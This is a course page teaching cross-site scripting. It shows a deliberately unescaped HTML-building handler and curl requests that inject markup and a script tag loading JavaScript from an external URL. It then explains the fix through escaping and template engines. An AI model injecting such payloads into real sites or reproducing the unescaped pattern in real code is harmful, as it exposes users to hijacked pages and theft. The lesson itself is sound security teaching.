Cross-site Scripting
Learning objectives
- You know what cross-site scripting flaws are and know how to identify and solve (some of) them.
Cross-site scripting (XSS) is a specific type of injection attack found in web applications. In cross-site scripting, the site provides an attacker the possibility of injecting client-side scripts into the application, which are then executed on other users' computers as they access the application.
Question not found or loading of the question is still in progress.
As an example, if an application would construct a response based on data in the database, without looking at the content, this would lead to the possibility for a malicious user to inject client-side scripts to the output shown to other users.
// app
const getNamesHtml = async () => {
const rows = await sql`SELECT * FROM names`;
const names = rows
.map((o) => `<li>${o.name}</li>`)
.reduce((acc, o) => acc + o + "\n", "");
return `<html>
<body>
<ul>
${names}
</ul>
</body>
</html>`;
};
// using the above function to create a response and send it to the user
Let's see how this could be exploited, given that there would be a possibility to add information e.g. via a form. The example below shows that when we make a query to the application, we see a list of names. In this case, there is just one name in the database.
curl http://localhost:8000
<html>
<body>
<ul>
<li>Hello!</li>
</ul>
</body>
</html>%
Let's add a new name. We try out if we could emphasize the name by adding a strong
element around the name.
curl -X POST -d "name=<strong>Test</strong>" http://localhost:8000
curl http://localhost:8000
<html>
<body>
<ul>
<li>Hello!</li>
<li><strong>Test</strong></li>
</ul>
</body>
</html>%
We can! Yay! Any user accessing the application using a browser will see the name Test
emphasized.
This may mean that we can inject any content to the site -- including JavaScript. In the next example, we try injecting a JavaScript file loaded from an external address to the site. As an example, we use the code at:
https://gist.githubusercontent.com/avihavai/c91260e5856eae21a0fbad1f2b891895/raw/336cdd0d85e48c42e53563938495e34fbccb6f00/injection-example.js
If successful, browsers of users accessing the site would load the script and execute it after page load. This would allow the attacker, for example, to replace the site content with something else, to place a keylogger to the site, to mine bitcoins with the users' computers, and, possibly, create harm for the user on other sites as well.
curl -X POST -d "name=<script src='(path from above)' defer></script>" http://localhost:8000
curl http://localhost:8000
<html>
<body>
<ul>
<li>Hello!</li>
<li><strong>Test</strong></li>
<li><script src='(path from above)' defer></script></li>
</ul>
</body>
</html>%
So, where did this cross-site scripting flaw come from? It stemmed from the possibility of inserting non-escaped HTML code to the page. When retrieving data from the database, characters indicating the start and end of HTML elements were not escaped, which led to the elements being interpreted as normal HTML.
// ...
const names = rows
.map(o => `<li>${o.name}</li>`)
.reduce((acc, o) => acc + o + "\n", "");
response.body = `<html>
<body>
<ul>
${names}
</ul>
</body>
</html>`;
// ...
One way to solve this is to escape the content, i.e. transform at least <
and >
characters to <
and >
. Template engines such as Eta do this automatically if they are used properly.
Again, if there is even a single such place in an application, other users of the application can be compromised. While the above example shows a simple example where HTML content is created on the server, the same flaw can occur also in e.g. sites created with Eta or with sites where the content is retrieved from an API with JavaScript and then shown on the page.
Further reading
For further reading, visit the Cyber Security Base course series by the University of Helsinki and F-Secure. Aalto University also offers a full Master's Programme focused in Security and Cloud Computing.